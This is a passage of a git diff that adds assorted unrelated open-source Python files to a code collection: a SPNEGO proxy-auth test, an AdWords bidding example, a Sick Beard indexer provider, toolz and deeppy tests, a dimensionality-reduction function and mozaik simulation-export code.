+                except SyntaxError:
+                    return True
+
+                for t in self.ast_transformers:
+                    tree = t.visit(tree)
+                ast.fix_missing_locations(tree)
+
+                source = ast.unparse(tree)
+                source = source.split('\n')
+                source = ';'.join(source)
+                return super().runsource(source, filename=filename, symbol=symbol)
+
+        c = DiofantConsole(ast_transformers=ast_transformers, locals=ns)
+
+        for l in lines:
+            c.push(l)
+        c.interact('', '')
+
+
+if __name__ == '__main__':  # pragma: no branch
+    main()
diff --git a/pool/shard000/Python/0008824_t_spnego_proxy.py b/pool/shard000/Python/0008824_t_spnego_proxy.py
new file mode 100644
index 0000000000000000000000000000000000000000..e2ac7f95aef5f0a9ffcd23ba467a0bad23cf9114
--- /dev/null
+++ b/pool/shard000/Python/0008824_t_spnego_proxy.py
@@ -0,0 +1,35 @@
+#!/usr/bin/python
+# Copyright (C) 2015 - mod_auth_gssapi contributors, see COPYING for license.
+
+import os
+import requests
+import gssapi
+from base64 import b64encode
+
+def getAuthToken(target):
+    spnego_mech = gssapi.raw.OID.from_int_seq('1.3.6.1.5.5.2')
+
+    name = gssapi.Name('HTTP@%s' % target,
+                       gssapi.NameType.hostbased_service)
+
+    ctx = gssapi.SecurityContext(name=name, mech=spnego_mech)
+    token = ctx.step()
+
+    return 'Negotiate %s' % b64encode(token)
+
+
+if __name__ == '__main__':
+    s = requests.Session()
+
+    target = os.environ['NSS_WRAPPER_HOSTNAME']
+    url = 'http://%s/spnego/' % target
+
+    proxy = 'http://%s:%s' % (target, os.environ['WRAP_PROXY_PORT'])
+    proxies = { "http" : proxy, }
+
+    s.headers.update({'Proxy-Authorization': getAuthToken(target)})
+    s.headers.update({'Authorization': getAuthToken(target)})
+
+    r = s.get(url, proxies=proxies)
+    if r.status_code != 200:
+        raise ValueError('Spnego Proxy Auth Failed')
diff --git a/pool/shard000/Python/0008832_create_shared_bidding_strategies.py b/pool/shard000/Python/0008832_create_shared_bidding_strategies.py
new file mode 100644
index 0000000000000000000000000000000000000000..439325e0aab886822de81184b8d67f635f8d0e31
--- /dev/null
+++ b/pool/shard000/Python/0008832_create_shared_bidding_strategies.py
@@ -0,0 +1,178 @@
+#!/usr/bin/python
+#
+# Copyright 2013 Google Inc. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""Adds a Shared Bidding Strategy and uses it to construct a campaign.
+
+Tags: BiddingStrategyService.mutate
+Tags: BudgetService.mutate, CampaignService.mutate
+"""
+
+__author__ = 'api.jdilallo@gmail.com (Joseph DiLallo)'
+
+import os
+import sys
+sys.path.insert(0, os.path.join('..', '..', '..', '..', '..'))
+
+# Import appropriate classes from the client library.
+from adspygoogle import AdWordsClient
+from adspygoogle.common import Utils
+
+
+# Enter a shared budget ID to re-use an existing budget or leave as None to
+# create a new one.
+BUDGET_ID = None
+
+
+def main(client, budget_id):
+  bidding_strategy = CreateBiddingStrategy(client)
+
+  if budget_id is None:
+    budget = CreateSharedBudget(client)
+    budget_id = budget['budgetId']
+
+  CreateCampaignWithBiddingStrategy(client, bidding_strategy['id'], budget_id)
+
+
+def CreateBiddingStrategy(client):
+  """Creates a bidding strategy object.
+
+  Args:
+    client: AdWordsClient the client to run the example with.
+
+  Returns:
+    dict An object representing a bidding strategy.
+  """
+  # Initialize appropriate service.
+  bidding_strategy_service = client.GetBiddingStrategyService(version='v201309')
+
+  # Create a shared bidding strategy.
+  shared_bidding_strategy = {
+      'name': 'Maximize Clicks %s' % Utils.GetUniqueName(),
+      'biddingScheme': {
+          'xsi_type': 'TargetSpendBiddingScheme',
+          # Optionally set additional bidding scheme parameters.
+          'bidCeiling': {
+              'microAmount': '2000000'
+          }
+      }
+  }
+
+  # Create operation.
+  operation = {
+      'operator': 'ADD',
+      'operand': shared_bidding_strategy
+  }
+
+  response = bidding_strategy_service.mutate([operation])[0]
+  new_bidding_strategy = response['value'][0]
+
+  print ('Shared bidding strategy with name \'%s\' and ID \'%s\' of type \'%s\''
+         'was created.' %
+         (new_bidding_strategy['name'], new_bidding_strategy['id'],
+          new_bidding_strategy['biddingScheme']['BiddingScheme_Type']))
+
+  return new_bidding_strategy
+
+
+def CreateSharedBudget(client):
+  """Creates an explicit budget to be used only to create the Campaign.
+
+  Args:
+    client: AdWordsClient the client to run the example with.
+
+  Returns:
+    dict An object representing a shared budget.
+  """
+  # Initialize appropriate service.
+  budget_service = client.GetBudgetService(version='v201309')
+
+  # Create a shared budget
+  budget = {
+      'name': 'Shared Interplanetary Budget #%s' % Utils.GetUniqueName(),
+      'period': 'DAILY',
+      'amount': {
+          'microAmount': '2000000'
+      },
+      'deliveryMethod': 'STANDARD',
+      'isExplicitlyShared': 'true'
+  }
+
+    # Create operation.
+  operation = {
+      'operator': 'ADD',
+      'operand': budget
+  }
+
+  response = budget_service.mutate([operation])[0]
+  return response['value'][0]
+
+
+def CreateCampaignWithBiddingStrategy(client, bidding_strategy_id, budget_id):
+  """ Create a Campaign with a Shared Bidding Strategy.
+
+  Args:
+    client: AdWordsClient the client to run the example with.
+    bidding_strategy_id: string the bidding strategy ID to use.
+    shared_budget_id: string the shared budget ID to use.
+
+  Returns:
+    dict An object representing a campaign.
+  """
+  # Initialize appropriate service.
+  campaign_service = client.GetCampaignService(version='v201309')
+
+  # Create campaign.
+  campaign = {
+      'name': 'Interplanetary Cruise #%s' % Utils.GetUniqueName(),
+      'budget': {
+          'budgetId': budget_id
+      },
+      'biddingStrategyConfiguration': {
+          'biddingStrategyId': bidding_strategy_id
+      },
+      'settings': [{
+          'xsi_type': 'KeywordMatchSetting',
+          'optIn': 'true'
+      }],
+      'networkSetting': {
+          'targetGoogleSearch': 'true',
+          'targetSearchNetwork': 'true',
+          'targetContentNetwork': 'true'
+      }
+  }
+
+  # Create operation.
+  operation = {
+      'operator': 'ADD',
+      'operand': campaign
+  }
+
+  response = campaign_service.mutate([operation])[0]
+  new_campaign = response['value'][0]
+
+  print ('Campaign with name \'%s\', ID \'%s\' and bidding scheme ID \'%s\' '
+         'was created.' %
+         (new_campaign['name'], new_campaign['id'],
+          new_campaign['biddingStrategyConfiguration']['biddingStrategyId']))
+
+  return new_campaign
+
+
+if __name__ == '__main__':
+  # Initialize client object.
+  client_ = AdWordsClient(path=os.path.join('..', '..', '..', '..', '..'))
+
+  main(client_, BUDGET_ID)
diff --git a/pool/shard000/Python/0008836_omgwtfnzbs.py b/pool/shard000/Python/0008836_omgwtfnzbs.py
new file mode 100644
index 0000000000000000000000000000000000000000..3e71d13ca715d5ce6744b6aeb6fae0cf62461d81
--- /dev/null
+++ b/pool/shard000/Python/0008836_omgwtfnzbs.py
@@ -0,0 +1,185 @@
+# Author: Jordon Smith <smith@jordon.me.uk>
+# URL: http://code.google.com/p/sickbeard/
+#
+# This file is part of Sick Beard.
+#
+# Sick Beard is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# Sick Beard is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Sick Beard. If not, see <http://www.gnu.org/licenses/>.
+
+import urllib
+import generic
+import sickbeard
+
+from sickbeard import tvcache
+from sickbeard import helpers
+from sickbeard import classes
+from sickbeard import logger
+from sickbeard.exceptions import ex, AuthException
+from sickbeard import show_name_helpers
+from datetime import datetime
+
+try:
+    import xml.etree.cElementTree as etree
+except ImportError:
+    import elementtree.ElementTree as etree
+
+try:
+    import json
+except ImportError:
+    from lib import simplejson as json
+
+
+class OmgwtfnzbsProvider(generic.NZBProvider):
+
+    def __init__(self):
+        generic.NZBProvider.__init__(self, "omgwtfnzbs")
+        self.cache = OmgwtfnzbsCache(self)
+        self.url = 'https://omgwtfnzbs.org/'
+        self.supportsBacklog = True
+
+    def isEnabled(self):
+        return sickbeard.OMGWTFNZBS
+
+    def _checkAuth(self):
+
+        if not sickbeard.OMGWTFNZBS_USERNAME  or not sickbeard.OMGWTFNZBS_APIKEY:
+            raise AuthException("Your authentication credentials for " + self.name + " are missing, check your config.")
+
+        return True
+
+    def _checkAuthFromData(self, parsed_data, is_XML=True):
+
+        if parsed_data is None:
+            return self._checkAuth()
+
+        if is_XML:
+            # provider doesn't return xml on error
+            return True
+
+        else:
+            parsedJSON = parsed_data
+
+            if 'notice' in parsedJSON:
+                description_text = parsedJSON.get('notice')
+
+                if 'information is incorrect' in parsedJSON.get('notice'):
+                    logger.log(u"Incorrect authentication credentials for " + self.name + " : " + str(description_text), logger.DEBUG)
+                    raise AuthException("Your authentication credentials for " + self.name + " are incorrect, check your config.")
+
+                elif '0 results matched your terms' in parsedJSON.get('notice'):
+                    return True
+
+                else:
+                    logger.log(u"Unknown error given from " + self.name + " : " + str(description_text), logger.DEBUG)
+                    return False
+
+            return True
+
+    def _get_season_search_strings(self, show, season):
+        return [x for x in show_name_helpers.makeSceneSeasonSearchString(show, season)]
+
+    def _get_episode_search_strings(self, ep_obj):
+        return [x for x in show_name_helpers.makeSceneSearchString(ep_obj)]
+
+    def _get_title_and_url(self, item):
+        return (item['release'], item['getnzb'])
+
+    def _doSearch(self, search, show=None, retention=0):
+
+        self._checkAuth()
+
+        params = {'user': sickbeard.OMGWTFNZBS_USERNAME,
+                  'api': sickbeard.OMGWTFNZBS_APIKEY,
+                  'eng': 1,
+                  'catid': '19,20',  # SD,HD
+                  'retention': sickbeard.USENET_RETENTION,
+                  'search': search}
+
+        if retention or not params['retention']:
+            params['retention'] = retention
+
+        search_url = 'https://api.omgwtfnzbs.org/json/?' + urllib.urlencode(params)
+        logger.log(u"Search url: " + search_url, logger.DEBUG)
+
+        data = self.getURL(search_url)
+
+        if not data:
+            logger.log(u"No data returned from " + search_url, logger.ERROR)
+            return []
+
+        parsedJSON = helpers.parse_json(data)
+
+        if parsedJSON is None:
+            logger.log(u"Error trying to load " + self.name + " JSON data", logger.ERROR)
+            return []
+
+        if self._checkAuthFromData(parsedJSON, is_XML=False):
+
+            results = []
+
+            for item in parsedJSON:
+                if 'release' in item and 'getnzb' in item:
+                    results.append(item)
+
+            return results
+
+        return []
+
+    def findPropers(self, search_date=None):
+        search_terms = ['.PROPER.', '.REPACK.']
+        results = []
+
+        for term in search_terms:
+            for item in self._doSearch(term, retention=4):
+                if 'usenetage' in item:
+
+                    title, url = self._get_title_and_url(item)
+                    try:
+                        result_date = datetime.fromtimestamp(item['usenetage'])
+                    except TypeError:
+                        result_date = None
+
+                    if result_date:
+                        results.append(classes.Proper(title, url, result_date))
+
+        return results
+
+
+class OmgwtfnzbsCache(tvcache.TVCache):
+
+    def __init__(self, provider):
+        tvcache.TVCache.__init__(self, provider)
+        self.minTime = 20
+
+    def _getRSSData(self):
+        params = {'user': sickbeard.OMGWTFNZBS_USERNAME,
+                  'api': sickbeard.OMGWTFNZBS_APIKEY,
+                  'eng': 1,
+                  'catid': '19,20'}  # SD,HD
+
+        rss_url = 'https://rss.omgwtfnzbs.org/rss-download.php?' + urllib.urlencode(params)
+
+        logger.log(self.provider.name + u" cache update URL: " + rss_url, logger.DEBUG)
+
+        data = self.provider.getURL(rss_url)
+
+        if not data:
+            logger.log(u"No data returned from " + rss_url, logger.ERROR)
+            return None
+
+        return data
+
+    def _checkAuth(self, parsedXML):
+            return self.provider._checkAuthFromData(parsedXML)
+
+provider = OmgwtfnzbsProvider()
diff --git a/pool/shard000/Python/0008840_test_standalone.py b/pool/shard000/Python/0008840_test_standalone.py
new file mode 100644
index 0000000000000000000000000000000000000000..7f33bb55dc4e676722bbfb2dd6ddf3bdbb415640
--- /dev/null
+++ b/pool/shard000/Python/0008840_test_standalone.py
@@ -0,0 +1,17 @@
+import unittest
+import os
+from urllib2 import urlopen
+
+import sys
+sys.path.append(os.path.join('..', '..', 'standalone'))
+import eval_server
+import config
+
+class TestEvalServer(unittest.TestCase):
+    
+    def test_parse_query(self):
+        result = urlopen(config.DEFAULT_PORT)
+        
+        
+if __name__ == '__main__':
+    unittest.main()  
diff --git a/pool/shard000/Python/0008842_test_mlp.py b/pool/shard000/Python/0008842_test_mlp.py
new file mode 100644
index 0000000000000000000000000000000000000000..c551bf3fdc61b5631c6d5821549be8001cf483ac
--- /dev/null
+++ b/pool/shard000/Python/0008842_test_mlp.py
@@ -0,0 +1,71 @@
+import deeppy as dp
+from sklearn.datasets import make_classification
+
+
+def test_classification():
+    # Make dataset
+    n_classes = 2
+    n_samples = 1000
+    n_features = 48
+    x, y = make_classification(
+        n_samples=n_samples, n_features=n_features, n_classes=n_classes,
+        n_informative=n_classes*2, random_state=1
+    )
+
+    n_train = int(0.8 * n_samples)
+    n_val = int(0.5 * (n_samples - n_train))
+
+    x_train = x[:n_train]
+    y_train = y[:n_train]
+    x_val = x[n_train:n_train+n_val]
+    y_val = y[n_train:n_train+n_val]
+    x_test = x[n_train+n_val:]
+    y_test = y[n_train+n_val:]
+
+    scaler = dp.StandardScaler()
+    x_train = scaler.fit_transform(x_train)
+    x_val = scaler.transform(x_val)
+    x_test = scaler.transform(x_test)
+
+    # Setup input
+    batch_size = 16
+    train_input = dp.SupervisedInput(x_train, y_train, batch_size=batch_size)
+    val_input = dp.SupervisedInput(x_val, y_val)
+    test_input = dp.SupervisedInput(x_test, y_test)
+
+    # Setup neural network
+    weight_decay = 1e-03
+    net = dp.NeuralNetwork(
+        layers=[
+            dp.FullyConnected(
+                n_out=32,
+                weights=dp.Parameter(dp.AutoFiller(),
+                                     weight_decay=weight_decay),
+            ),
+            dp.Activation('relu'),
+            dp.FullyConnected(
+                n_out=64,
+                weights=dp.Parameter(dp.AutoFiller(),
+                                     weight_decay=weight_decay),
+            ),
+            dp.Activation('relu'),
+            dp.FullyConnected(
+                n_out=n_classes,
+                weights=dp.Parameter(dp.AutoFiller()),
+            ),
+        ],
+        loss=dp.SoftmaxCrossEntropy(),
+    )
+
+    # Train neural network
+    def val_error():
+        return net.error(val_input)
+    trainer = dp.StochasticGradientDescent(
+        min_epochs=10, learn_rule=dp.Momentum(learn_rate=0.01, momentum=0.9),
+    )
+    trainer.train(net, train_input, val_error)
+
+    # Evaluate on test data
+    error = net.error(test_input)
+    print('Test error rate: %.4f' % error)
+    assert error < 0.2
diff --git a/pool/shard000/Python/0008843_submodulesync.py b/pool/shard000/Python/0008843_submodulesync.py
new file mode 100644
index 0000000000000000000000000000000000000000..5610bdb7b7bd16a61885213c053684cb6a7daf95
--- /dev/null
+++ b/pool/shard000/Python/0008843_submodulesync.py
@@ -0,0 +1,40 @@
+# Copyright Aaron Smith 2009
+# 
+# This file is part of Gity.
+# 
+# Gity is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+# 
+# Gity is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+# 
+# You should have received a copy of the GNU General Public License
+# along with Gity. If not, see <http://www.gnu.org/licenses/>.
+from _util import *
+try:
+	import re,os,subprocess,simplejson as json
+except Exception,e:
+	glog(str(e))
+	sys.stderr.write(str(e))
+	exit(84)
+command=""
+try:
+	from _argv import *
+	if not options.misc: raise Exception("Gitty Error: The submodule update command requires a submodule")
+	submodule=sanitize_str(options.misc[0])
+	command="%s %s %s" % (options.git,"submodule sync -- ",submodule)
+	rcode,stout,sterr=run_command(command)
+	exit_if_server_unreachable(sterr)
+	exit_if_server_hungup(sterr)
+	rcode_for_git_exit(rcode,sterr)
+	exit(0)
+except Exception, e:
+	sys.stderr.write("The submodule sync command threw this error: " + str(e))
+	sys.stderr.write("\ncommand: %s\n" % command)
+	log_gity_version(options.gityversion)
+	log_gitv(options.git)
+	exit(84)
\ No newline at end of file
diff --git a/pool/shard000/Python/0008845_pivdire.py b/pool/shard000/Python/0008845_pivdire.py
new file mode 100644
index 0000000000000000000000000000000000000000..eba9b2436c65253e06d73d824f8f2b587fdb0813
--- /dev/null
+++ b/pool/shard000/Python/0008845_pivdire.py
@@ -0,0 +1,107 @@
+"""
+The MIT License (MIT)
+
+Copyright (c) 2014 Hubert Soyer
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+import numpy as np
+import warnings
+from scipy.spatial.distance import pdist
+from scipy.spatial.distance import squareform
+
+
+def reduce_dim_2d(points_highd, pivot_pos=(), pivot_importance=5.0,
+            lr=1e-3, stopping_threshold=1e-3, max_iter=300,
+            metric='euclidean', seed=None):
+    """
+        Reduces the dimensionality of the given high-dimensional vectors.
+        Instead of treating every point equally like PCA, SNE or tSNE,
+        this method allows the user to specify a list of vectors in the
+        given high dimensional data that should be treated with a preference.
+        That means, distances between the specified "more important" pivot
+        points and all other points will be preserved better.
+        For now, this function supports only dimensionality reduction to 
+        2d for plotting, it could, however, be easily extended 
+        to more dimensions.
+        
+        :param points_highd: high dimensional vectors (n_vectors x dim)
+        :param pivot_pos: list of indices corresponding to the vectors 
+                            that should be weighed more
+        :param pivot_importance: importance factor for pivot points.
+                                    Higher means pivot-to-X distance will be
+                                    preserved more. (default: 5.0)
+        :param lr: learning rate for iterative optimization process 
+                    (default: 1e-3)
+        :param stopping_theshold: Stopping threshold for error difference
+                                    between two optimization epochs
+                                    (default: 1e-3)
+        :param max_iter: maximal number of iterations (default: 300)
+        :param metric: distance metrix on the _high dimensional_ points that
+                        should be preserved as good as possible in 2d
+        :param seed: random seed
+    """
+    if seed is not None:
+        np.random.seed(seed)
+    
+    # Initialize the points
+    points_2d = np.random.randn(points_highd.shape[0],2) * 0.01
+    points_2d = (points_2d-points_2d.min()) / \
+                        (points_2d.max()-points_2d.min()) * 2 - 1
+    d_shape = (points_2d.shape[0],points_2d.shape[0],1)
+    # Precompute the pairwise distances for the high dimensional vectors
+    d_high = squareform(pdist(points_highd,metric=metric)).reshape(d_shape)
+
+    points_highd = np.array(points_highd)
+    last_err = np.infty
+    threshold = 1e-3
+    # Run the learning iterator
+    for i in xrange(max_iter):
+        
+        # Compute the pairwise distances for the low dimensional vectors
+        d_low = squareform(pdist(points_2d,metric='euclidean')).reshape(d_shape)
+        # Get the pairwise differences between points for the low dimensional vectors
+        diff_low = points_2d[:,None,:] - np.tile(points_2d,[points_2d.shape[0],1,1])
+        # Compute the error (before the current update!)
+        d_h_l = (d_high-d_low)
+        error = (d_h_l**2)
+        # Weight pivot points for error
+        error[:,pivot_pos] *= pivot_importance
+        error = error.sum()
+        # Weight pivot points for gradient
+        d_h_l[:,pivot_pos] *= pivot_importance
+        # Compute gradient
+        grad = ((-4) * d_h_l * diff_low).sum(axis=1)
+        # Perform update
+        points_2d -= lr * grad
+        
+        # Check of error between updates has fallen below
+        # threshold
+        if last_err - error < threshold and last_err > error:
+            if i < 10:
+                warnings.warn("Number of iterations before "
+                    "hitting the error threshold was less than 10. "
+                    "Results may not be satisfying, consider setting "
+                    "a different threshold.")
+            # If yes, break
+            break
+        last_err = error
+        
+    return points_2d 
diff --git a/pool/shard000/Python/0008850_test_dicttoolz.py b/pool/shard000/Python/0008850_test_dicttoolz.py
new file mode 100644
index 0000000000000000000000000000000000000000..6226e3d94f6ffdfc7be769084782e718b88996e7
--- /dev/null
+++ b/pool/shard000/Python/0008850_test_dicttoolz.py
@@ -0,0 +1,110 @@
+from toolz.utils import raises
+from toolz.dicttoolz import (merge, merge_with, valmap, keymap, update_in,
+                             assoc, dissoc, keyfilter, valfilter, itemmap,
+                             itemfilter)
+
+
+inc = lambda x: x + 1
+
+
+iseven = lambda i: i % 2 == 0
+
+
+def test_merge():
+    assert merge({1: 1, 2: 2}, {3: 4}) == {1: 1, 2: 2, 3: 4}
+
+
+def test_merge_iterable_arg():
+    assert merge([{1: 1, 2: 2}, {3: 4}]) == {1: 1, 2: 2, 3: 4}
+
+
+def test_merge_with():
+    dicts = {1: 1, 2: 2}, {1: 10, 2: 20}
+    assert merge_with(sum, *dicts) == {1: 11, 2: 22}
+    assert merge_with(tuple, *dicts) == {1: (1, 10), 2: (2, 20)}
+
+    dicts = {1: 1, 2: 2, 3: 3}, {1: 10, 2: 20}
+    assert merge_with(sum, *dicts) == {1: 11, 2: 22, 3: 3}
+    assert merge_with(tuple, *dicts) == {1: (1, 10), 2: (2, 20), 3: (3,)}
+
+    assert not merge_with(sum)
+
+
+def test_merge_with_iterable_arg():
+    dicts = {1: 1, 2: 2}, {1: 10, 2: 20}
+    assert merge_with(sum, *dicts) == {1: 11, 2: 22}
+    assert merge_with(sum, dicts) == {1: 11, 2: 22}
+    assert merge_with(sum, iter(dicts)) == {1: 11, 2: 22}
+
+
+def test_valmap():
+    assert valmap(inc, {1: 1, 2: 2}) == {1: 2, 2: 3}
+
+
+def test_keymap():
+    assert keymap(inc, {1: 1, 2: 2}) == {2: 1, 3: 2}
+
+
+def test_itemmap():
+    assert itemmap(reversed, {1: 2, 2: 4}) == {2: 1, 4: 2}
+
+
+def test_valfilter():
+    assert valfilter(iseven, {1: 2, 2: 3}) == {1: 2}
+
+
+def test_keyfilter():
+    assert keyfilter(iseven, {1: 2, 2: 3}) == {2: 3}
+
+
+def test_itemfilter():
+    assert itemfilter(lambda item: iseven(item[0]), {1: 2, 2: 3}) == {2: 3}
+    assert itemfilter(lambda item: iseven(item[1]), {1: 2, 2: 3}) == {1: 2}
+
+
+def test_assoc():
+    assert assoc({}, "a", 1) == {"a": 1}
+    assert assoc({"a": 1}, "a", 3) == {"a": 3}
+    assert assoc({"a": 1}, "b", 3) == {"a": 1, "b": 3}
+
+    # Verify immutability:
+    d = {'x': 1}
+    oldd = d
+    assoc(d, 'x', 2)
+    assert d is oldd
+
+
+def test_dissoc():
+    assert dissoc({"a": 1}, "a") == {}
+    assert dissoc({"a": 1, "b": 2}, "a") == {"b": 2}
+    assert dissoc({"a": 1, "b": 2}, "b") == {"a": 1}
+
+    # Verify immutability:
+    d = {'x': 1}
+    oldd = d
+    d2 = dissoc(d, 'x')
+    assert d is oldd
+    assert d2 is not oldd
+
+
+def test_update_in():
+    assert update_in({"a": 0}, ["a"], inc) == {"a": 1}
+    assert update_in({"a": 0, "b": 1}, ["b"], str) == {"a": 0, "b": "1"}
+    assert (update_in({"t": 1, "v": {"a": 0}}, ["v", "a"], inc) ==
+            {"t": 1, "v": {"a": 1}})
+    # Handle one missing key.
+    assert update_in({}, ["z"], str, None) == {"z": "None"}
+    assert update_in({}, ["z"], inc, 0) == {"z": 1}
+    assert update_in({}, ["z"], lambda x: x+"ar", default="b") == {"z": "bar"}
+    # Same semantics as Clojure for multiple missing keys, ie. recursively
+    # create nested empty dictionaries to the depth specified by the
+    # keys with the innermost value set to f(default).
+    assert update_in({}, [0, 1], inc, default=-1) == {0: {1: 0}}
+    assert update_in({}, [0, 1], str, default=100) == {0: {1: "100"}}
+    assert (update_in({"foo": "bar", 1: 50}, ["d", 1, 0], str, 20) ==
+            {"foo": "bar", 1: 50, "d": {1: {0: "20"}}})
+    # Verify immutability:
+    d = {'x': 1}
+    oldd = d
+    update_in(d, ['x'], inc)
+    assert d is oldd
diff --git a/pool/shard000/Python/0008868_analysis_and_visualization.py b/pool/shard000/Python/0008868_analysis_and_visualization.py
new file mode 100644
index 0000000000000000000000000000000000000000..9a8e08e0f98f9528fa470f4f3f53a6a1c59eda8a
--- /dev/null
+++ b/pool/shard000/Python/0008868_analysis_and_visualization.py
@@ -0,0 +1,115 @@
+import numpy
+import mozaik
+import pylab
+import cPickle
+from mozaik.visualization.plotting import *
+from mozaik.analysis.technical import NeuronAnnotationsToPerNeuronValues
+from mozaik.analysis.analysis import *
+from mozaik.analysis.vision import *
+from mozaik.storage.queries import *
+from mozaik.storage.datastore import PickledDataStore
+from mozaik.tools.circ_stat import circular_dist
+from mozaik.tools.mozaik_parametrized import MozaikParametrized
+
+def perform_analysis_and_visualization(data_store):
+    analog_ids = param_filter_query(data_store,sheet_name="V1_Exc_L4").get_segments()[0].get_stored_esyn_ids()
+    analog_ids_inh = param_filter_query(data_store,sheet_name="V1_Inh_L4").get_segments()[0].get_stored_esyn_ids()
+    spike_ids = param_filter_query(data_store,sheet_name="V1_Exc_L4").get_segments()[0].get_stored_spike_train_ids()
+    
+    number_of_cells = len(analog_ids)
+    stimuli_list = list(('SparseNoise', 'DenseNoise'))
+    save_to = './Data/'
+    
+    
+    for stimuli_type in stimuli_list: 
+        print 'Getting voltage and images for ' + stimuli_type
+        
+        # Saving parameters 
+        format = '.pickle'
+        quality = '_3000_21_' # This is the number of images followed by the interval that they take in ms 
+        
+        # Load the segments 
+        dsv = queries.param_filter_query(data_store, sheet_name="V1_Exc_L4",st_name=stimuli_type)
+        segments = dsv.get_segments()
+        stimuli = [MozaikParametrized.idd(s) for s in dsv.get_stimuli()]
+        # Take the seeds 
+        seeds = [s.experiment_seed for s in stimuli]
+                
+        # Sort them based on their seeds 
+        seeds,segments,stimuli = zip(*sorted(zip(seeds,segments,stimuli))) 
+        segment_length = segments[0].get_spiketrain(spike_ids[0]).t_stop     
+        
+        # Values to obtain 
+        spikes = [[] for i in segments[0].get_spiketrain(spike_ids)]    
+        images = []
+        
+        ## Extract images 
+        print 'Extracting and processing images'
+        for i, seg in enumerate(segments):
+            """
+            First we take out the stimuli and make them as small as we can First we take out the stimuli and make them 
+            as small as we can than one pixel assigned to each value of luminance. In order to do so, we first call the class
+            And re-adjust is parameter st.density = st.grid_size. After that we successively call the class to extract the images
+            frames  
+            """
+                        
+            # First we take the class 
+            st = MozaikParametrized.idd_to_instance(stimuli[i])
+            st.size_x = 1.0
+            st.size_y = 1.0 
+            st.density = st.grid_size
+            
+            fr = st.frames()          
+            
+            # First we call as many frames as many frames as we need (total time / time per image = total # of images) 
+            ims = [fr.next()[0] for i in xrange(0,st.duration/st.frame_duration)]
+            # Now, we take the images that repeat themselves 
+            ims = [ims[i] for i in xrange(0,len(ims)) if ((i % (st.time_per_image/st.frame_duration)) == 0)] 
+            images.append(ims)
+        
+        # Saving images 
+        print 'Saving Images '
+        
+        # Concatenate and save 
+        ims = numpy.concatenate(images,axis=0)  
+        images_filename = save_to + 'images' + quality + stimuli_type + format
+        f = open(images_filename,'wb')
+        cPickle.dump(ims,f)
+        
+        ## Get the voltage for all the cells 
+        for cell_number in range(number_of_cells):
+            print 'Extracting Voltage for cell ', cell_number 
+            
+            vm = [] # Intialize voltage list 
+            for i,seg in enumerate(segments):
+                # get vm 
+                v = seg.get_vm(analog_ids[cell_number])
+                # Check that the voltage between segments match
+                if vm != []:
+                    assert vm[-1][-1] == v.magnitude[0]                 
+                # Append 
+                vm.append(v.magnitude)    
+                
+              
+            # Concatenate the experiments
+            print 'Concatenating Voltage'
+            vm = [v[:-1] for v in vm] # Take the last element out  
+            vm = numpy.concatenate(vm,axis=0)
+            
+            print 'voltage shape=', numpy.shape(vm)
+            # Save the voltage
+            print 'Saving Voltage for cell', cell_number 
+            voltage_filename = save_to + 'vm' + '_cell_'+ str(cell_number) + quality + stimuli_type + '.pickle'
+            f = open(voltage_filename,'wb')
+            cPickle.dump(vm,f)         
+          
+        
+        ## Spikes 
+        #for i,seg in enumerate(segments):
+            # get spikes    
+            #sp = seg.get_spiketrain(spike_ids)
+            #sp = [list(s.magnitude+i*segment_length.magnitude) for s in sp]
+            
+            #spikes = [a+b for a,b in zip(spikes,sp)]
+            #f = open('spikes.pickle','wb')
+            #cPickle.dump(spikes,f)
\ No newline at end of file
diff --git a/pool/shard000/Python/0008869_projectsync.py b/pool/shard000/Python/0008869_projectsync.py
new file mode 100644
index 0000000000000000000000000000000000000000..867922bd99c877c701a7cfb32eb37b116507920d
--- /dev/null
+++ b/pool/shard000/Python/0008869_projectsync.py
@@ -0,0 +1,117 @@
+# Copyright (c) 2014-present PlatformIO <contact@platformio.org>
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#    http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os
+import tarfile
+from binascii import crc32
+from os.path import getmtime, getsize, isdir, isfile, join
+
+from twisted.python import constants  # pylint: disable=import-error
+
